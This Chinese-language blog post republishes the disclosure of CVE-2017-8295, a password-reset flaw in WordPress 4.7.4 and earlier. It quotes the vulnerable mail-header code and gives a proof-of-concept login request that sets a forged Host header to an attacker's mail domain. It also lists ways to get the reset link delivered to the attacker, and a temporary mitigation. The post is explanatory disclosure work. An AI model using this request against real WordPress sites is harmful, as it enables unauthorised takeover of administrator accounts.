«

0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞

时间:2017-5-4 21:49     作者:admin     分类: 渗透测试


这两天的wordpress总是不平静....今天刚刚爆出0day....


漏洞概述


漏洞编号:CVE-2017-8295

漏洞发现者:dawid_golunski

漏洞危害:中/高

影响版本:WordPress Core <= 4.7.4

漏洞描述:Wordpress的密码重置功能,其中存在漏洞在某些情况下可能允许攻击者在未经身份验证的情况下获取密码重置链接。这种攻击可导致攻击者获得未经授权的WordPress帐户访问权限。该漏洞的触发条件比较苛刻。


漏洞细节


默认情况下,该漏洞由于WordPress使用不受信任的数据。当进行密码重置时,系统会发送相关密码重置链接到所有者帐户相关联的电子邮件。

这可以在创建From的代码片段中观察到

调用PHP mail()函数前的电子邮件头:

------[ wp-includes/pluggable.php ]------
...
if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }
        $from_email = 'wordpress@' . $sitename;
}
...

我们可以看到,Wordpress正在使用SERVER_NAME变量来获取主机名,该服务器为了创建一个From / Return-Path 地址,包含重置密码的相关信息的电子邮件。但是,Web服务器(如Apache)使用客户端提供的主机名默认设置SERVER_NAME变量


(在HTTP_HOST 头内):

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname 

因为SERVER_NAME可以修改,攻击者可以将其设置为任意他选择的域。例如:

attackers-mxserver.com

这将导致Wordpress将$ from_email设置为 

[email protected]

并因此导致发送电子邮件与From / Return-Path设置为此恶意地址。

至于攻击者能够修改哪个电子邮件头 - From / Return-Path,这取决于服务器环境。更多可以阅读

http://php.net/manual/en/function.mail.php 

From头在Windows下还设置了Return-Path。

根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中设置的恶意的From / Return-Path地址。 

这可能允许攻击者拦截包含该邮件的邮件,密码重置链接在某些情况下需要用户交互以及没有用户互动。

一些示例场景

如果攻击者知道受害者用户的电子邮件地址。他们可以执行先前的操作DoS攻击受害者的电子邮件帐户(例如发送多个邮件)大文件超过用户的磁盘配额或攻击DNS服务器)

导致密码重置邮件被接收服务器拒绝到达目的地,从而在攻击者的服务器上接收邮件。

一些自动回复者可能附上发送到该机构的电子邮箱的副本 

自动回复的消息

发送多个密码重置电子邮件强制用户回复 

消息查询说明无限密码重置电子邮件。 

包含密码链接的回复将被发送给攻击者。

等等


概念证明


如果攻击者将类似于下面的请求发送到默认的Wordpress

-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------

Wordpress将触发管理员用户帐户的密码重置功能。


由于修改了HOST 头,SERVER_NAME将被设置为攻击者设置的主机名。因此,Wordpress会将以下标题和电子邮件正文传递给/ usr / bin / sendmail:

------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <[email protected]>
From: WordPress <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

假如有人要求为以下帐户重设密码:


http://companyX-wp/wp/wordpress/
Username: admin
要重置密码,请访问以下地址:如果这是一个误会,只要忽略这封电子邮件,什么都不会发生。
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
我们可以看到,Return-Path/From和Message-ID的字段都有攻击者设置的域。

可以使用一个bash脚本替换/ usr / sbin / sendmail来执行头文件的验证

bash脚本:

#!/bin/bash
cat > /tmp/outgoing-email

解决方案


目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName强制执行静态SERVER_NAME值

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname 

这个问题首先向WordPress安全团队多次报道,第一份报告于2016年7月发送。 

由于这种情况没有进展,没有官方补丁,开始向公众发布。


参考


https://legalhackers.com/ 

https://exploitbox.io/ 

https://w3techs.com/technologies/details/cm-wordpress/all/all 

https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

标签: shell php 0day exp WordPress

版权所有:Mrxn's Blog
文章标题:0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读
评论:
avatar
Flyer 2017-05-05 11:08
前一段时间我的wordpress博客就被黑客给清空了
commentator
Mrxn 2017-05-05 12:18
@Flyer:wp爆出来的漏洞多  其实还有更多的没有被爆出来的漏洞 很多人都是捏在手上的 0day一大把 .. 要知道WP在黑市是通杀的....